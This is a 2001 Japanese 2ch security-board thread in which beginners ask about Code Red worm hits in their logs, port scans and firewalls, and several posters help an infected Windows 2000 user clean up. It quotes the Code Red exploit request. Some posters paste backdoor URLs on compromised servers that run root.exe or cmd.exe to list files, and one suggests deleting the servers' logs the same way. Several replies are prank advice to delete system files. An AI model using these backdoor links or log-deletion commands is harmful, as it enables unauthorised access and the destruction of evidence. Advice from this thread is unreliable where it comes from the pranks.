2001-08-04 13:43:39 164.73.216.17 - 192.168.0.***
GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u90
90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u909
0%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003
%u8b00%u531b%u53ff%u0078%u0000%u00=a 403 -

ログにこうゆう人が頻繁に記録されるのですが、
なにを目的にやって来ているのでしょうか？

ZoneAlarmスレに今日のレスがあります。

>>734
Code Redスレをみるべし。
IISを狙ったアタック。

今日は異常にアタック多いんですが、なんかあったんかな〜
日本からも来た→ 210.196.95.167（株）新潟美人

203.252.130.229の最初の３桁で国とかがわかるのですか？
日本から繋いでるのにＩＰアドレスが２０３から始まるんですけど。

>>738
国毎にipの範囲が割り当てられてるんだよ。
http://www.nic.ad.jp/jp/regist/dns/doc/jp-addr-block.html
jpnicが管理してるipを持った鯖は大部分が日本国内と思っていいね。

>>737
この人の鯖のエラー見ると悲惨だね

異常にアタック多いんですが、コードレッドってやつのせいなんですかな〜？

>>739
レスありがとうございました。
私のＩＳＰのＡＰのＩＰは２０３から始まるので
もしかしたら書き換えられたかなと思って・・・。
前は、210〜だったのになんで203にかわってんだろう・・・？

ちょっとリモホの事でお尋ねしたいんですが・・・。

p0575-ip02osakakita.osaka.ocn.ne.jp
Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; ocnie5-1)

・・・て、漫画喫茶ですか？それとも家でしょうか？
分かる方いましたら教えてもらえませんか？
お願いします。

>>743
なんどもしつこい。
んなの、ＯＣＮの大阪北ＡＰから繋いでるぐらいしかわからねーよ

あのさ、httpdのログに最近

4.21.8.72−−[05/Aug/2001:10:29:38 +900] "GET /default.ida?NNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858&ucbd3%u7801%u9090%u6858%u
cbd・・（以下続く）

てのがよく残ってるんだけど、これってIIS狙ったやつなの？

>>745
Code Red

>>745
いいかげんうざいぞ。
他のスレもみろよ。
いくら初心者ってもおまえはただのヴァッカだ。

WEBメールによく英字のタイトルのメールが来るのですが
開いて見ても大丈夫なのでしょうか？

幼稚な質問で申し訳ないです。

なんか、昨日ぐらいから、ネットにアクセスしてないのに、
モデムのアクセスランプ点滅しっぱなしなんですけど、
これは、いったい・・・・

>>749
ネットにアクセスとはどういう状態をいってるんだ？
だいたい、接続形態とか人によってずいぶん違うからまたもな回答を望みたかったらきちんと説明することだな。
まぁ貴方のようなヴァカには誰も答えないと思いますが。

>>749
電源が入ってるから

あのさ、ネット関連の板に最近

＞あのさ、httpdのログに最近
＞
＞4.21.8.72−−[05/Aug/2001:10:29:38 +900] "GET /default.ida?NNNNNNNNNNN
＞NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
＞NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
＞NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858&ucbd3%u7801%u9090%u6858%u
＞cbd・・（以下続く）
＞
＞てのがよく残ってるんだけど、これってIIS狙ったやつなの？

てみたいなレスがよく残ってるんだけど、これって荒らしなの？

やべ。上げちゃった(汗

どうも、Code Redのせいみたいですね。
おさわがせしました。

SirCamがきません

80番ポートをアタックされてる時にブラウザ（プロキシ設定無し）を
使用すると、タイミングによってはこちらの存在が分かってしまう
ことってありますか？（FWは導入済み）

また、プロキシ設定をして8080番ポートのみの使用ならば
上記の危険は全くありませんか？

初心者質問で申し訳ないのですが、ここのところ
NETに繋ぐと、数分後にポートスキャンの嵐がきます。
同じ状況が一週間ぐらい続いてますんで、流石に怖くなってきました。

何を聞きたいかというと、この位のことは無視したほうがｲｲのでしょうか？
と言う事なのです
「PortScan如きでｶﾞﾀｶﾞﾀいうな夏房」と言われそうですが・・・。

>>756
プロクシのある無しと問わず、そんなことは100%無いです

>>757
気にすんなよ。CodeRedがおさまるのを待て

>>758
ありがとうございました。
FWの設定でわざわざアウトバウンドの80番ふさいでたのに
無意味だったんですね。

>>758
素早いﾚｽありがとうございます。
もしかしたらとは思っていたのですが、CodeRedが蔓延っているからだったんですね。
言われたとおり、収まるまでじっと我慢の子で逝きます。

ああ、おかげさまでやっと安心して眠れます（ｗ

ウィルスバスターをすり抜けて
いざトロイにかかってしまうと、どのような対処をすればよいですか？

>>761
気づかずに使いつづける。

>>762
それに気づいた時だよヴぉケ

>>763
使うのをやめろよヴぉけ

一旦ﾊｸされてしまったら、OSを再ｲﾝｽﾄする方が
安全で確実…だ、そうです。

>>765
ありがとう(・∀・)！

>>762=764
わかんなかったら口出しするな！おもしろくねえし邪魔！　　　カス！

code redの事なんですが、ポート80番を叩かれても
HTTPサーバを立ち上げていなかったら心配することはないでしょうか？

>>767
立ち上げていなければ、が IIS が動いていなければ、
という意味ならその通り。

>>768
IISが動いているかどうかは
http://localhost/
で、見つかりません か エラー になれば動いてないってことでいい？

ホームページに行ったらあなたは〜人目です。とか書かれているけど
自分が以前そこのページに訪れたかどうかって管理人にはわかるもの
なの？
ホームページを見たら相手の管理人、作成者はどこまでこっちの
個人情報がわかるのですか？

>>770
大抵の事はわかります。
メールアドレス、本名、クレジット番号、住所、身長、体重、鼻毛の長さまで。

マジレスお願いします。

>>769
localhost より、127.0.0.1 使ったほうがいい。
でも自分のサーバに IIS 動いているか判んない人は
サーバ建てちゃダメだよ。

>>773
サーバ立てる意思が無くても、アプリによっては
勝手にIISをインストールするものもあるじゃないの？

>>770
http://www.taruo.net/e/
診断くん

試しにここへ逝ってみそ

>>770
大抵はアクセスしてきた個人を特定しているわけじゃなくて、
単にアクセス回数を数えてるだけよ。クッキーを使えば
どの PC から、ていうかどのブラウザからアクセスしたかが
判るけど、そこまでやってるアクセスカウンタは少数。
サーバの管理人にはアクセス元の IP アドレスとか、使ってる
ブラウザとか、どこのリンクから飛んできたか、とかいろんな
情報がログを見るだけで判っちゃう。
そういうのを隠蔽してくれる匿名プロキシってのもあるけど、
今は 2ch もやってる匿名プロキシ対策ってのが流行ってるんで
簡単には利用出来なくなっちゃったね。

>>658
誰か教えていただけませんか？
この前2chでちょっとスレ内容に批判的なことを書き込んで以来
急に攻撃が増えて困ってます。

>>777
Code Redじゃないの？

行ってみました。けど意味がわかりません。
結局どういうことですか。

くだらない串の話はPC初心者板とか逝ってくれ。
串関係のスレも確かあった

てかそんなもん、串さしても変わんないすか･･･？

>>776
教えてくれてありがとう

>>780
くだらなくはない。匿名プロキシはセキュリティ確保の
道具の一つであって、くだらないのはそれを悪用する奴だよ。

>>783
すでにケーブルプロバイダの串が刺さってるって
言ってるじゃん。それで十分だろ。

>>784
それはそだね。初心者スレ的には十分だ。

>>768
サンクス

ファイアーウォールの防御をわざと外しといて、入ってきたやつにダミーのpcを公開しつつ、相手のパソコンの中身を拝借する、、、なんてソフトないですか

ホットラインはどうですか？>>787

サブ７はどうですか？

IISってなんですかって尋ねようと思ったんだけど
文字でボコボコにされると思ったから自分で調べました。

http://www.microsoft.com/japan/products/iis/

ナデナデちてください

偉かったねぇ　モミモミ

なでなで。
で、このページに Code Red についての情報がないのはなんで？

>>788
ホットラインでそんなことできるんですか？

ポート１３５って何でしょうか？

>>794
139
tcp/udp
netbios-ssn
NETBIOS Session Service

ttp://www.murashima.matsudo.chiba.jp/mura/port0-199.htm

>>794
135
tcp/udp
epmap
DCE endpoint resolution

http://www.murashima.matsudo.chiba.jp/mura/port0-199.htm

ありがとうございました。
やさしい人もここにはいるのね。

とても困っています
パソコンが勝手にどこかと交信して、見たい所も見れません。
送信量が受信量の４倍もあります。常に何処かとやり取りしているようです。
先日、２ちゃんでホットメールのアドレスを貼ったら、ヴィルスが
来たのですが、開きませんでした。なのに、その直後から変になり、
悪化して今ではプロバイダに繋げなかったり、メールの送受信すら
出来なかったりする始末です。
環境は、Ｗｉｎ２０００ＳＲ１で、セキュリティ対策はＯＳのデフォルト
のみです。ダイアルアップでプロバイダに繋いでいます。
勉強が必要でしょうか。それとも、さっさとＨＤフォーマットすべきですか？

まあ最終的にはフォーマットだけど、まずファイヤーウォール入れてみ

>>798の者ですが、２ちゃんも重く、急に繋げなる事もあります。

>>799 ファイアーウォールですね。ありがとうございます。
店に売ってるんでしょうか

あしたヨドバシカメラに行ってみます

フリーのでいいよ。Sygateあたりで、
どんなとこに何を送ってるのか見てみ

つーかウィルス開いてないんでしょ？ただのコードレッドで重いだけなんじゃなくて？
初心者はぞねがいいと思うけど

送信量が受信量より多いってんだから、何送ってるか
確認した方がいいでしょ

Sygateはここでダウンロード
http://www.sygate.com/free/spf_download.htm

>>803 どうもです。よく分かりませんがSygateを検索してみます。
と、思ってるうちに送信前に見つかってしまいましたｗｗ
これからダウンロードしてみます　ありがとうございました

>>804 コードレッドってこの板で話題になってますね
最低それくらいは読んでみるか。すみません
ぞね？も検索してみます
>>805 どうもですっ

Sygateに限らず、パーソナルファイヤーウォールの使い方が
わからなかったら

tp://members.tripod.co.jp/eazyfox/

このサイトに解説があるよ。まあ色々やってみんしゃい

>>808 とても親切に、どうもありがとうございました。
おかげさまで解決の糸口をつけられました。
またご報告します

念のため
http://127.0.0.1/
↑ここにアクセスできないか試してみ

なるほど、うっかりしてたよ。そう言えばWin2000か（ｗ
ファイヤーウォールすすめるだけじゃ足りないな。

「ポートスキャンをされた」とよく聞くけど
ポートスキャンってなんですか？

泥棒が、「この家の鍵あいてるかな〜」って感じで
鼻歌まじりでドア、窓をがちゃがちゃやることです

>>812
　視姦

>>798の者ですがこんな窓が今開きました。。これって
フォーマット必須なのかなー　今ＳｙｇａｔｅをＤＬしてます
以下で見ろといわれてる所や>>810さんのは見れません。
急に見れるようになったりもするんですが。。
−−−−メッセンジャ　サービス−−−−−
SFからLOCALHOSTへのメッセージ(2001/08/06 22:51)
***WARNING*** Your computer seems to be cracked by
Code Red II. This message has been sent tyru the
backdoor of it. So, YOU MUST CLEAN UP YOUR SYSTEM.
For more information, please check the following URL:
http://www.incidents.org/react/code/_red.php

キャー！Sygateどころじゃなかった（ｗ

どうするよ　これ(W

は〜い、みんな集合〜

>>810さんの所はちょっと変わったエラーで
現在、多数の人が Web サイトにアクセスしています。
と言われました。（>>815　 tyru→thru）

>>819がネタっぽいが信じよう。
とりあえず回線・・・・切ったらアドバイスもできんか

まずIISをアンインストール。話はそれからだ

>>816-818 ワラタ　親切にどうもですっ
>>820 ヤヴァイですか？ｗｗ

ﾜﾗﾃﾙ場合か

>>821 アプリの追加・削除　にはＩＩＳは出ません　って
ヴィスルだから当たり前かな？

あーあーあーあー

XXXXXのほうだよね

>>823 ２年間の蓄積、フォーマットは大変だ〜　泣
あと、誰かに迷惑かけてるのかな

何でserverなんか入れてんのさ?
まぁどうでも良いけど、取り合えずそのマシンでネットに繋ぐと
世界中に不正アクセスを繰り返します（つーか今やってるのね）
さっさと電源切って別のマシンでこの板のCODEREDスレを
隅からすみまで読んでください。

じゃあまずパッチ当ててリブートかな。え〜とパッチはどこだ

＞あと、誰かに迷惑かけてるのかな

かなりね

>>824
windowsコンポーネントの追加と削除　は？

>>828 え　それは大変だ
電源切ります　CODEREDですね
漫画喫茶に行って読もうかな
今日は無理かな　アー　あー！！　あ！　まじ！
ショック
>>829 望みあるんでしょうか　てかありがとうございます

>>829
ほれ
http://www.microsoft.com/japan/technet/security/codealrt.asp

>>833
おうサンクス。って俺が受け取ってもしょうがない。
まずこのパッチを当てろ

CodeRedがここまで蔓延している理由が分かったような気がする･･･

>>831 見つかりました　ＩＩＳ
色々中身あるけど、全部削除すればいいでしょうか

>>833 今開いています

>> 836
取りあえず停止しろ。はなしはそれから

IIS削除しちゃった方が早いが、どれを消していいかは
IIS使ったこと無いからわからんな。誰かアドバイスできんか？

こっちには何も来ないなぁ
Apacheで鯖立ててみようかなぁ

田舎はこーゆーのも遅いのね･･･

>>833-834 パッチをＤＬしてます

IIS はさわったことないけど、NT のサービスでそ？
コントロールパネル→管理ツール→サービスの中でそれっぽいのを
探して停止じゃダメなん？

>>838 パッチあるみたいなんであと数分だけ。。

まあいっか、とりあえずパッチダウンロードしてるみたいだし

CodeRedのアタックとかって例えばProxomitronでport80のIn/Outを素通しにしてると
気付かないですかね？

・・・ってよくねえな、パッチ当て終わったら削除させよう（ｗ
トロイにリクエストが来たら面倒だ

>>844 ＤＬの途中で全ての自由が利かなくなったので
再起動して今からやり直します　たった２４０ｋのファイルなのに

x:\inetpub\scripts\root.exe
パッチﾀﾞｳｿしたか。これを取り急ぎ消せ

*:\explorer.exe も消せ！

system.datも消せ

本物のexplorer.exeはどこだ？全部消しちまっていいのかい？

>>850
危険な嘘を教えるな

http://www.symantec.com/region/jp/sarcj/data/c/codered.v3.html
root.exeが消せたか??
後はここをじっくり見て対処しろ。
理解できなければ漏れに聞け、漏れもわからんが"なんとかなるさ"

とりあえずIISだけ消せばroot.exe, explorer.exeは関係なくなるのでは。
その後ダウソしたSygateで接続を監視し、別に仕込まれているかも
しれないトロイとかを監視。
　↓
その間にバックアップするデータを選別。最新のパターンでウィルス
チェック。
　↓
バックアップ。再クリーンインストール（IISは絶対入れない）

これでどうか

そんな感じだろな、Xはまだ挙動が定かじゃ無いから様子見するしか
ないか、つかこんな親切なセキュ板初めて見たよ　　(わ

>> 854
その通り。ただ847は感染している時点で、そのスキル無しと判断(ごめんよ)
被害を最小限に押さえるためroot.exeを削除、、
847 IISの必要性が無いのなら削除すること。。

やっと繋がった　パッチ当てて再起動したのに
繋がらなかったので解決してないのかもとか
思ったけど、変なアクセスがすっきり消えました。
繋がらない間に、>>849さんのroot.exeは消しました。
他の、>>849も消すべきなのかな。>>850は嘘ですね>>852さん
後は、>>853さん、>>854さんを参考にします

親切っつーか、そのままにしとくと彼からXが来るだろうからね（ｗ
つーかもう来てると思うけど

>>857 あ、まずＩＩＳを削除するのか

>>855 本当に親切でびっくりしています
ちょっと、全部まだ頭が整理できてないのですが、
あとでゆっくり読めば分かるかも
書き込み、リロード驚くほど快適です

まあとりあえず落ち着くのはIISをアンインストールしてからに
しなさい。root.exeとIISが生きてる以上、いつ誰かが侵入してくるか
わからんよ。

IISアンインストがよく分からなくても、どうせフォーマットするんだからって
思って、ざっと消しちゃいなさい。まあアドバイスできる奴がいたら頼む。

http://210.95.20.130/c/inetpub/scripts/root.exe?/c+dir
http://210.222.65.148/c/inetpub/scripts/root.exe?/c+dir
http://210.120.39.3/c/inetpub/scripts/root.exe?/c+dir
裏口。

どこにも繋げなかったのでroot.exe（デスクトップに移動していた）
を元に戻したら繋がるようになったんだけど、だめでしょうか

それと、お礼が遅れましたが、被害が止められたと同時に
わたくしも非常に助かりました。どうもありがとうございました

>>862
ど阿呆、素人からかって遊んでんじゃねえよ

>>798
>>862は踏むな

>>863
root.exeは関係無いと思うが・・・
まあいいや、あとは最新のウィルス定義ファイルだけ
ダウンロードして、回線切っちゃいなさい。どうせ
バックアップ作業するだけだ。

>>860
まずIISのパッチは大丈夫か?
完璧にパッチがあたったのなら、もう一度再起動。
再度 root.exeが無いか見る。
x:\explorer.exeも見る、あれば削除。
あとレジストリも触られているが、あとはゆっくり作業すればよし
出来ればIISを削除すること推奨。
そのマシンでホームページ立ち上げているのなら、今後のセキュリティ
ニュースを参照。要注意。(コード的には大丈夫みたいだけどね)

恐い思いしたね。良い勉強でした。

>>851
本物は /WINNT/explorer.exe だ。
ルートディレクトリにある explorer.exe は偽者だ。

>>867
なるほどね、サンクス。 >>798 聞いたか？

>>861 ＩＩＳをアンインストールします >>864はい
>>865 >>853さんのシマンテックのＨＰにチェックのはあったけど
もうフォーマット再インストールですね
>>866 やっぱり、rootとexplorerは消さないとだめか

はい　別の板では気のせいじゃない？と言われつづけたので
すが、あまりに変なのでこちらで聞いてみてとても助かり、
勉強になりました。　これを機会にＨＤ整理します。。

ポート何番があいているか調べるにはどうすればいいの？

explorer.exe は　後でよし。。

>>867 ルートにはexplorer.exeは無かったです
>>868 はい

ポート何番があいているか調べるにはどうすればいいの？

>>870
自分のマシンのリスンのポートか
netstat -a

>>869
あいよ、じゃあ俺は寝る。後で怪しいURL貼ってきたり
突然○○を消せとか言い出す奴がいても警戒するようにな
んじゃ

>>873
netstatの結果わからなそうだから、
ポートスキャンしてくれるサイトへ逝け。
http://scan.sygatetech.com/
プロクシは外せ

ＩＩＳ全部削除しました（チェックを外して再構成）。。
root.exeも消しました。

>>875 深夜までありがとうございました。
他の方、−；さん他ありがとうございました。

OKご苦労さん。
もう大丈夫だと思うよ。最新パッチには気をつけるように。
http://www.microsoft.com/japan/technet/security/current.asp

さて、寝よう。

不正アクセスされる確率は都会も田舎も同じですか？

>>879
同じでしょうね、当方四国は香川県在住
Win2kSP2使用、ﾀﾞｲﾔﾙｱｯﾌﾟOCNで、
Code redの影響だと思うが、2時間で200件ｱｸｾｽ来てる。
一応IISをｲﾝｽﾄしてないので大丈夫だと思うが

田舎は途中の通信路の一部が伝書鳩になるので、帯域の都合上、
パケットが通りにくくなります。そのため、相対的にアタックも少なくなります。

俺は鳩の偽装にかけてはプロだ

自分でRAW鳩ぐらい作れないとね

おれはスキャンする時は常にXmas鳩だな

伝書鳩はコンピューターウィルスには強いが
オウム病やＱ熱といったウィルスを感染させる。

それにしても昨日はやけに優しい人が多かったんだな。

www-vip.interq.net てなに？
FWOUT,2001/08/07,02:39:43 +9:00 GMT,略：0,210.172.128.20:0,ICMP (type:11/subtype:1)
もしかして何か仕込まれたかも？

port6699って何？

なんか最近、ケーブルモデムのアクセスランプが
通信していないはずなのに、点滅しているのですが､
これってウィルスに感染してしまったのでしょうか？

今月Q2の請求が3万円
NTTコミュニケーションズの請求が2万円
ダイヤルアップに変な番号0990が。

Q2はNTTにクレームしたら引いてやる、というが
コミュニケーションの方は
「そっちから掛けたからダメ」だと。

払うつもりはないが、今
どういう状況になっているんですか？？

>>888
まずウイルスチェックソフト買ってきて入れなさい。

無料ｳｲﾙｽ対策ソフトもありんす
http://www.free-av.com/

ぞぬ使ってますが、ロックの確認っていうのが出て
Services　and　Contorollers　appってなるんですけど
大丈夫なんですか？内＞外だから心配です。
大丈夫じゃなかったら消し方も教えてください！

>>889
アナログモデムやめとけ。

>>888
ほれ
http://www.ryu.dyn.to/Config/Napster.html

おっかねえだよ

プロクシというものがまったくわかりませんたすけて

>>896
まったく使わなくても、のーぷろぶれむ。
しらなくても、のーぷろぶれむ。
個人情報？パソコンなんかに入れるな。手帳に書いとけ。

セキュリティの板なのに、開くとどうしてVB2001の
パーソナルファイヤーウォールで「侵入検出」になる
のだ？誰かなんかやっているの？

cmd.exeっていうのが付いているリンクへ行くと本当にやばいのですか？
なにやらいっぱい英語の文字が出てきてわけわからなかったんですけど。
他のヒトも「やばい、踏んだ。セキュリティ板に行く」とか「捕まる」とか
言って、私はどうすればよいかわからないのです。
何も知らなくてすいません。

相手から見たら不法侵入です。
もちろん相手のログにあなたのした事は残ります。

http://210.119.33.149/c/winnt/system32/cmd.exe?/c+dir
http://210.220.214.233/c/winnt/system32/cmd.exe?/c+dir
http://210.21.31.181/c/winnt/system32/cmd.exe?/c+dir
http://210.207.36.10/c/winnt/system32/cmd.exe?/c+dir
http://210.91.104.12/c/winnt/system32/cmd.exe?/c+dir
http://210.120.24.191/c/winnt/system32/cmd.exe?/c+dir
http://210.85.108.97/c/winnt/system32/cmd.exe?/c+dir
http://210.91.80.129/c/winnt/system32/cmd.exe?/c+dir
http://210.220.217.151/c/winnt/system32/cmd.exe?/c+dir
http://210.96.195.167/c/winnt/system32/cmd.exe?/c+dir
ほれっ

どうせなら ...cmd.exe?/c+del+(ログファイル)
を貼ってやれよ。書き込まれてから削除されるのか、
削除されてから書き込まれるのか知らんが。

一瞬覗いただけなら平気だべや？

侵入形跡あり
　↓
警察へ通報
　↓
アクセスログから IP 割り出し
　↓
ISP に情報開示の令状
　↓
任意同行と称した逮捕
　↓
(ﾟДﾟ)ｳﾏｰ!!

けど、滅多にそんなことないんでしょ？

てゆーか不正アクセス？

あー、ﾁﾅとﾁｮｿはｼﾞｬﾌﾟからせしめる賠償金の味を覚えた

君達相当やばい事をしてしまったね...。相手のログに残ってるから
もう取り返しがつかないよ。最近はこの手の犯罪増えてるから、
通報から警察が来るまで国内で２日 (都内なら１日)、韓国・中国で
５日程度か。まぁ直リンした奴が悪いんだから、ちゃんと説明すれ
ばすぐ釈放されるよ。でもＰＣの中は調べられる可能性が高いから
マズい画像は今のうちに消しといたほうがいいね。

送信量が異常に多くなって回線が圧迫されます。
ノートンではTrojanVirtualRootが見つかったって出るんですけど、
削除しても回線が圧迫されるのが直りません。
ウイルスのせいだと思うんですけど？？？？

誰かこのマシンからCodeRed取り除いてやってくれ。
俺は昨日の彼だけでお腹いっぱい

>>909
今すぐ回線を切って首を吊れ。
さもなくば OS を再インストールせよ。

これでいいかい？ >>910

まあなんでもいいや。もうめんどくさいし

>>910 ううむ（ｗ
>>911 再インストール後すぐに感染するだけかと

>>909 起きてるか？ このスレの >>733 から先を読め

　ファイアーウォール通したらリアルプレーヤーが
使えないのはどうしてなんですか？

最近ZoneAlarmをインストールしたら、数分おきに
「The firewall has blocked Internet access to your computer」というメッセージがでます。
IPアドレスからサーチすると「Asia Pacific Network Information Center 」からの
アクセスだと出るのですが、これは別段不審なアクセスではないのでしょうか。

周り読めよヴァ〜〜〜カ　お前のPCなんか誰もみたかねEEEよ　　ﾜﾗ

すみません、確かに厨房な質問だったようです。この板を読みなおして逝って来ます。

>>914
仕様です。

CodeRedでアタックしてきたログはどうやって見ることが出来るんですか？

>>919
お〜い　答えが欲しいのなら使ってるＦＷの
名前くらい書けよ！

>>919
winnt\system32\logfiles
バックドアつかって消されてたらご愁傷様。

同じ奴から何回もウィルス送られてくるんだけど如何いうこと？
ちなみにヒロユキって奴から。
そいつ知らん奴なんだけど、もろ会社のメアドから。

>>922
(1)ネタでしょう。
(2)愛されてるでしょう。

なんか知らんがマイドキュメントの中が空っぽになってるんですが、ウイルスと関係ありますか？
MB買った時に付いてたノートンアンチウイルスをインストールした方が良いでしょうか？？

>>919
どんなＦＷでもヘルプとか関連ＨＰのＦＡＱに書いてるはずだから
それをまず読んでみそ。
それでも分からなければ、また来るがヨロシ

>>924
OSを再インストールしてネットワークから切り離せば安心です。

CodeRedが自分のパソコンに感染してるってことでしょうか。
C:explorer.exe （サイズ0バイト）とかあったら感染してると見た方がいいってことなんでしょうか？
ノートンの最新定義使ってるけど検出されません。
対処法教えてください。

ここで質問が適当かよくわかりませんが・・・

OS起動後、netstat -naで

自分 接続先
UDP:3456 0.0.0.0 *:*

てのが必ずあるんすけど、これって裏口とかぢゃないっすよね？
Well-knownじゃないし、M$のサイト探したけど説明がなかった。

>>928
すまそ。OSはW2k+sp2。サービスや常駐物削ってこの結果。

インターネット上から不正アクセスしてくるノード名を知りたいのですが、
どうすればいいでしょうか？とりあえず、ZoneAlarmでIPはわかるので
すが、そのあと、DOS画面に何かコマンドを入力すればいいのでしょうか？